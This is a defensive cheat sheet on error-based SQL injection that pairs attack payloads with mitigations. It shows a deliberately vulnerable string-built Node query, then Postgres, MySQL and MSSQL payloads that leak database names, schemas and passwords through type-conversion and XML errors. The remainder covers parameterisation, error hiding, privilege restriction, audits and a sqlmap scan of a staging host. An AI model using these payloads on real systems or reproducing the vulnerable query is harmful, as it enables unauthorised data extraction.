Error-based

# 1) Vulnerable shape
# Node — pg
const sql = `SELECT id, name FROM users WHERE id = ${req.query.id}`;
await db.query(sql);

# Attacker probes with a malformed input:
#   ?id=1' AND 1=CAST((SELECT current_database()) AS int) --
# The CAST fails with: 'invalid input syntax for type integer: "myapp_prod"'
# The DB error LEAKS the current database name to the attacker.

# 2) Postgres example payloads
# Get the version
#   ?id=1' AND 1=CAST(version() AS int) --
# → error: 'invalid input syntax for type integer: "PostgreSQL 16.1..."'

# Get table names
#   ?id=1' AND 1=CAST((SELECT array_agg(table_name) FROM information_schema.tables) AS int) --

# Get column names of a table
#   ?id=1' AND 1=CAST((SELECT array_agg(column_name) FROM information_schema.columns WHERE table_name='users') AS int) --

# Get data
#   ?id=1' AND 1=CAST((SELECT password FROM users WHERE id=1) AS int) --

# 3) MySQL — extractvalue / updatexml leak via XML errors
#   ?id=1' AND extractvalue(1, concat(0x7e, (SELECT version()))) --
# → error: 'XPATH syntax error: '~8.0.36''

#   ?id=1' AND updatexml(1, concat(0x7e, (SELECT password FROM users LIMIT 1)), 1) --

# 4) MSSQL — convert / cast errors
#   ?id=1' AND 1=convert(int, db_name()) --
# → error: 'Conversion failed when converting the nvarchar value "myapp_prod" to data type int.'

# Or stack queries (if multiple statements allowed):
#   ?id=1'; THROW 50000, (SELECT TOP 1 password FROM users), 1; --

# === Defences ===

# 5) Parameterise — closes the door entirely
const { rows } = await db.query(
    'SELECT id, name FROM users WHERE id = $1',
    [req.query.id],
);

# Even better, validate the input shape first:
const id = z.coerce.number().int().positive().parse(req.query.id);

# 6) Hide error details in production
# Application-level
import pg from 'pg';
try {
    await db.query(sql, params);
} catch (e) {
    log.error({ err: e, sql, params }, 'db_error');     // server-side log
    return res.status(500).json({ error: 'internal' }); // generic for client
}
# NEVER return e.message to the client.

# 7) Database error verbosity — Postgres
ALTER SYSTEM SET log_error_verbosity = 'terse';
SELECT pg_reload_conf();
# (Affects server logs; app still controls client-facing messages.)

# 8) Restrict the DB user
GRANT SELECT, INSERT, UPDATE, DELETE ON specific_tables TO app_user;
REVOKE ALL ON information_schema FROM app_user;
# Now even if injection works, attacker can't enumerate schemas.

# In MySQL — separate user with minimum privileges:
GRANT SELECT, INSERT ON myapp.* TO 'app_user'@'%';
REVOKE ALL PRIVILEGES ON mysql.* FROM 'app_user'@'%';

# 9) Use an ORM / type-safe query builder
# Prisma — typed queries; no string SQL by default
await prisma.user.findUnique({ where: { id: Number(req.query.id) } });

# Drizzle / SQLAlchemy / Diesel — same idea
# These libraries make string-built SQL the exception you have to opt into.

# 10) Monitor for SQLi probes
# Log anomalies:
#   - Requests with SQL keywords (CAST, CONVERT, UNION, SELECT, --, etc.) in unexpected params
#   - Many 500s from one IP/UA
#   - Errors with stack traces leaking schema info
# Forward to SIEM; alert on patterns.

# 11) WAF — defence in depth
# Cloudflare / AWS WAF / Imperva have generic SQLi signatures.
# NOT a substitute for parameterisation, but good last-line defence.

# === Real-world checklist ===

# 12) Audit your code
rg -t js -e 'query\(\s*`' -e 'query\(\s*"' -e 'execute\(\s*f' src/
rg -t py -e 'execute\([^,)]+%' -e 'f"SELECT' app/
rg -t php -e 'query\("SELECT \.$' -e 'query\("INSERT.*\.$'

# Identify every string-built query. Either parameterise it or document why it's safe (e.g., constant SQL).

# 13) Pre-prod testing
# Run sqlmap against your staging env (authorised):
sqlmap -u 'https://staging.example.com/users?id=1' --batch --level=3 --risk=2
# Or use Burp Active Scan / OWASP ZAP / Nuclei templates

# 14) Static analysis
# semgrep + custom rule to flag string concat in SQL queries
# CodeQL has built-in injection detection

# 15) Database-side hardening
# - Disable verbose errors in production
# - Restrict app user permissions (no DROP, no information_schema)
# - Set statement_timeout to bound runaway queries
# - Enable audit logging (pg_audit, MySQL audit plugin)

# 16) What 'error-based' tells you about your code
# If an attacker can leak DB content via errors, the SAME bug usually allows:
#   • UNION-based SQLi (extract data directly)
#   • Time-based SQLi (when errors are suppressed)
#   • Boolean-based SQLi (infer truth from response differences)
#   • Even RCE in some scenarios (xp_cmdshell, COPY FROM PROGRAM, etc.)
# Fix the parameterisation; ALL injection variants close together.

# 17) Common mistakes
#   ❌ Sanitising errors but keeping string concatenation in SQL → blind / time-based still works
#   ❌ Trusting WAF without fixing the code
#   ❌ Disabling error messages but leaving stack traces in logs accessible via debug endpoints
#   ❌ Allowing the app user to access information_schema (or sys / pg_catalog)

// Forces DB errors that leak data (XPath / CAST tricks).
// Defence: do NOT show DB errors to users; generic 500 + log internally.